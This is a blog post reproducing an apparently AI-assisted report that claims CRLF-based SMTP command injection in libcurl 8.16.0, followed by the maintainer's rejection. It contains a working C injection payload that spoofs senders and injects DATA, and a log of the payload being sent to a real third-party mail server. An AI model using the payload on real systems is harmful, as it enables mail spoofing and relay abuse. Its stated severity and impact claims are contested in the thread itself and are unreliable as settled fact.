libcurl 8.16.0 SMTP命令注入漏洞深度分析

本文详细分析了libcurl 8.16.0版本中存在的SMTP命令注入漏洞,该漏洞通过RFC 3461后缀处理机制允许攻击者注入任意SMTP命令,实现邮件欺骗、未授权中继等攻击,包含完整的技术细节和概念验证代码。

SMTP命令注入漏洞报告 #3387499

执行摘要

libcurl 8.16.0版本在实现RFC 3461投递状态通知(DSN)参数支持时存在严重的SMTP命令注入漏洞(符合CVE质量标准)。该漏洞允许攻击者通过在收件人邮箱地址的后缀部分包含CRLF(\r\n)字符来注入任意SMTP命令。

影响:完整的SMTP命令注入,允许:

  • 使用任意发件人地址进行邮件欺骗
  • 未授权的邮件中继
  • 绕过认证和授权控制
  • 潜在的协议级攻击

受影响版本:libcurl 8.16.0(2024年9月10日发布) 组件:lib/smtp.c - RFC 3461后缀处理 CWE:CWE-93(HTTP头中CRLF序列的不当中和)/ CWE-77(命令注入)

漏洞详情

背景

RFC 3461定义了SMTP的投递状态通知(DSN)扩展。这些扩展允许在RCPT TO命令中的收件人邮箱地址后附加参数,例如:

1
RCPT TO:<user@example.com> NOTIFY=SUCCESS,FAILURE

libcurl 8.16.0添加了对该功能的支持,如RELEASE-NOTES中所述:

smtp: allow suffix behind a mail address for RFC 3461 [127]

漏洞描述

lib/smtp.c中的实现从邮箱地址中提取后缀,但未能验证或清理其中的CRLF字符。漏洞代码路径为:

地址解析(smtp_parse_address,第1876行):

1
2
3
4
5
6
7
else {
  addressend = strrchr(dup, '>');
  if(addressend) {
    *addressend = '\0';
    *suffix = addressend + 1;  // 指向原始字符串!
  }
}

后缀指针直接指向原始输入字符串中的>字符之后,没有进行验证。

命令形成(smtp_perform_rcpt_to,第885行):

1
2
3
if(host.name)
  result = Curl_pp_sendf(data, &smtpc->pp, "RCPT TO:<%s@%s>%s",
                         address, host.name, suffix);

后缀被直接插入到SMTP命令中,没有任何CRLF过滤。

命令传输(pingpong.c中的Curl_pp_vsendf):

1
2
3
result = curlx_dyn_vaddf(&pp->sendbuf, fmt, args);
// ... 
result = curlx_dyn_addn(&pp->sendbuf, "\r\n", 2);

格式化的字符串(包含带有嵌入CRLF的未清理后缀)被发送,后跟额外的CRLF。后缀中的任何CRLF字符都将在SMTP协议流中创建新的命令行。

攻击向量

攻击者可以构造一个在后缀中包含恶意SMTP命令的收件人地址:

1
"<user@example.com> NOTIFY=SUCCESS\r\nRSET\r\nMAIL FROM:<spoofed@internal.com>\r\nRCPT TO:"

当libcurl处理此收件人时,将发送:

1
2
3
4
5
RCPT TO:<user@example.com> NOTIFY=SUCCESS
RSET
MAIL FROM:<spoofed@internal.com>
RCPT TO:
[来自Curl_pp_vsendf的原始CRLF]

这有效地注入了四个SMTP命令,而原本只应有一个RCPT TO命令。

概念验证

环境设置

构建libcurl 8.16.0

1
2
3
4
5
wget https://curl.se/download/curl-8.16.0.tar.gz
tar -xzf curl-8.16.0.tar.gz
cd curl-8.16.0
./configure --disable-shared --with-openssl --without-libpsl
make -j4

设置SMTP调试服务器(Python 3)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#!/usr/bin/env python3
import asyncore
from smtpd import SMTPServer

class DebugSMTPServer(SMTPServer):
 def process_message(self, peer, mailfrom, rcpttos, data, **kwargs):
   print(f'From: {mailfrom}')
   print(f'To: {rcpttos}')
   print(f'Data: {data.decode("utf-8", errors="replace")}')
   return

server = DebugSMTPServer(('127.0.0.1', 1025), None)
print("SMTP Debug Server on port 1025")
asyncore.loop()

保存为smtp_server.py并运行:python3 smtp_server.py &

利用代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <curl/curl.h>
#include <string.h>
#include <stdio.h>

static size_t read_callback(char *ptr, size_t size, size_t nmemb, void *userp) {
    const char *text = "Subject: Legitimate Email\r\n\r\nLegitimate body.\r\n";
    static int sent = 0;
    if(sent) return 0;

    size_t len = strlen(text);
    if(len > size * nmemb) len = size * nmemb;
    memcpy(ptr, text, len);
    sent = 1;
    return len;
}

int main(void) {
    CURL *curl = curl_easy_init();
    struct curl_slist *recipients = NULL;

    curl_easy_setopt(curl, CURLOPT_URL, "smtp://127.0.0.1:1025");
    curl_easy_setopt(curl, CURLOPT_MAIL_FROM, "<attacker@evil.com>");

    /* 漏洞利用:通过RFC 3461后缀注入SMTP命令 */
    const char *exploit = 
        "<victim@example.com> NOTIFY=SUCCESS\r\n"
        "RSET\r\n"
        "MAIL FROM:<spoofed@internal.com>\r\n"
        "RCPT TO:<target@example.com>\r\n"
        "DATA\r\n"
        "Subject: Injected Email\r\n"
        "\r\n"
        "This email was sent via SMTP command injection!\r\n"
        ".\r\n"
        "QUIT\r\n";

    recipients = curl_slist_append(recipients, exploit);
    curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, recipients);
    curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback);
    curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
    curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);

    CURLcode res = curl_easy_perform(curl);
    printf("Result: %s\n", curl_easy_strerror(res));

    curl_slist_free_all(recipients);
    curl_easy_cleanup(curl);
    return 0;
}

编译和执行

1
2
3
4
5
6
gcc -o exploit exploit.c \
    -I./curl-8.16.0/include \
    -L./curl-8.16.0/lib/.libs \
    -lcurl -lssl -lcrypto -lz -lpthread

LD_LIBRARY_PATH=./curl-8.16.0/lib/.libs ./exploit

预期输出

详细输出将显示:

1
2
3
4
5
6
7
8
9
> RCPT TO:<victim@example.com> NOTIFY=SUCCESS
RSET
MAIL FROM:<spoofed@internal.com>
RCPT TO:<target@example.com>
DATA
Subject: Injected Email

This email was sent via SMTP command injection!
.

这表明在原本应该只有单个RCPT TO命令的地方发送了多个SMTP命令。

影响评估

严重性:严重(CVSS 3.1:9.1) 攻击向量:网络(AV:N)

  • 可通过使用libcurl进行SMTP的应用程序远程利用

攻击复杂度:低(AC:L)

  • 无需特殊条件
  • 对任何SMTP服务器都有效

所需权限:无(PR:N)

  • 利用无需认证

用户交互:无(UI:N)

  • 利用是自动化的

范围:已更改(S:C)

  • 可影响SMTP服务器和其他电子邮件收件人

影响

  • 机密性:高 - 可拦截或重定向电子邮件
  • 完整性:高 - 可使用任意内容欺骗电子邮件
  • 可用性:高 - 可滥用邮件服务器进行垃圾邮件/拒绝服务攻击

实际攻击场景

电子邮件欺骗

  • 攻击者注入RSET\r\nMAIL FROM:<spoofed@internal.com>来欺骗内部电子邮件
  • 如果SMTP服务器已授权,可绕过SPF/DKIM

未授权中继

  • 注入收件人地址以将SMTP服务器用作开放中继
  • 通过合法基础设施发送垃圾邮件或钓鱼邮件

认证绕过

  • 如果SMTP事务开始时已认证,注入的命令将维持该会话
  • 可在没有适当授权的情况下发送电子邮件

电子邮件拦截

  • 注入RCPT TO:以接收电子邮件的副本
  • 可用于商业电子邮件泄露(BEC)攻击

拒绝服务

  • 注入格式错误的命令以使SMTP服务器崩溃或挂起
  • 注入QUIT以过早终止连接

根本原因分析

该漏洞是在8.16.0版本中添加RFC 3461后缀支持时引入的。实现中犯了两个关键错误:

  1. 无输入验证:后缀从用户控制的输入中提取,没有任何CRLF字符验证
  2. 直接插入:后缀直接插入到SMTP命令中,没有编码或转义

代码假设后缀仅包含有效的RFC 3461参数(如NOTIFY=SUCCESS),但未强制执行此假设。

推荐修复

必须验证后缀以确保其不包含CRLF字符或其他命令注入序列:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
static bool validate_suffix(const char *suffix) {
    /* 后缀不能包含CR或LF */
    if(strchr(suffix, '\r') || strchr(suffix, '\n'))
        return false;

    /* 后缀应仅包含RFC 3461的可打印ASCII */
    while(*suffix) {
        if(*suffix < 0x20 || *suffix > 0x7E)
            return false;
        suffix++;
    }
    return true;
}

此验证应在返回前添加到smtp_parse_address中:

1
2
3
4
if(*suffix && !validate_suffix(*suffix)) {
    free(*address);
    return CURLE_URL_MALFORMAT;
}

披露时间线

  • 2025-10-16:通过代码审计发现漏洞
  • 2025-10-16:开发并测试概念验证
  • 2025-10-16:公开披露(研究竞赛不适用负责任披露)

参考资料

  • libcurl 8.16.0源代码:https://curl.se/download/curl-8.16.0.tar.gz
  • RFC 3461:SMTP服务扩展用于投递状态通知(DSN)
  • CWE-93:HTTP头中CRLF序列的不当中和
  • CWE-77:命令中使用的特殊元素的不当中和

结论

此漏洞代表了libcurl 8.16.0中的一个严重安全缺陷,可被利用进行完整的SMTP命令注入。任何使用libcurl通过用户控制的收件人地址进行SMTP电子邮件传输的应用程序都可能受到攻击。该漏洞易于利用,且无需特殊条件或认证。

libcurl 8.16.0的用户应:

  • 避免对收件人地址使用用户控制的输入
  • 如果使用SMTP功能,实施自己的CRLF过滤
  • 等待curl项目的官方补丁
  • 考虑降级到8.15.0或更早版本(缺乏RFC 3461后缀支持)

致谢

本研究建立在[87bg]和[e8sr]中建立的安全分析框架之上。

讨论时间线

bagder(curl工作人员):抱歉,但是谁在注入这个?

spolu-dust:报告已修复。这是使用https://github.com/spolu/srchd进行AI辅助的。

在实际服务器上的复现:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
* Established connection to smtp.orange.fr (80.12.26.34 port 25) from 192.168.4.11 port 51024 
< 220 opmta1mto10nd1 smtp.orange.fr ESMTP server ready
> EHLO lapichon
< 250-opmta1mto10nd1 hello [86.228.97.110], pleased to meet you
< 250-HELP
< 250-AUTH LOGIN PLAIN
< 250-SIZE 46000000
< 250-ENHANCEDSTATUSCODES
< 250-PIPELINING
< 250-8BITMIME
< 250-STARTTLS
< 250 OK
> MAIL FROM:<attacker@evil.com>
< 550 5.1.0 9UFIv74oXpYNY Authentification requise, Merci de configurer SSL/TLS et votre mot de passe. Authentication Required. OFR203_402 [402]
* MAIL failed: 550
* shutting down connection #0

bagder:那是一个没有回答我问题的长答案:谁在注入这个?我看到一个程序使用API,在选项中发送了一些额外的垃圾。这不是注入。

spolu-dust:完整场景:服务A接受用户电子邮件作为登录,并使用libcurl通过其SMTP服务器发送滴灌电子邮件。攻击者在注册时向服务A提交利用电子邮件地址EXPLOIT_ADDRESS。服务A开始向EXPLOIT_ADDRESS发送滴灌电子邮件或注册确认电子邮件,但这样做攻击者获得了服务A与其SMTP服务器之间通道的控制权,控制目标地址、正文等。

bagder:在这种情况下,服务A是接受来自用户的随机未验证输入并直接传递的易受攻击方。我认为应用程序没有遵守API,因此libcurl不保证功能。(您甚至不必使用后缀,您可能可以在电子邮件地址字段本身插入CRLF。)一般来说,libcurl遵循垃圾进垃圾出的原则。您需要确保传入正确的内容,否则它可能不会按您期望的方式工作。

spolu-dust:关闭报告并将状态更改为不适用。鉴于协议特殊对待CRLF,我希望库的参数能够意识到它们作为一个相当重要的安全要求,但这完全由您决定。

bagder:根据项目的透明政策,我们希望所有报告都被披露并公开。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计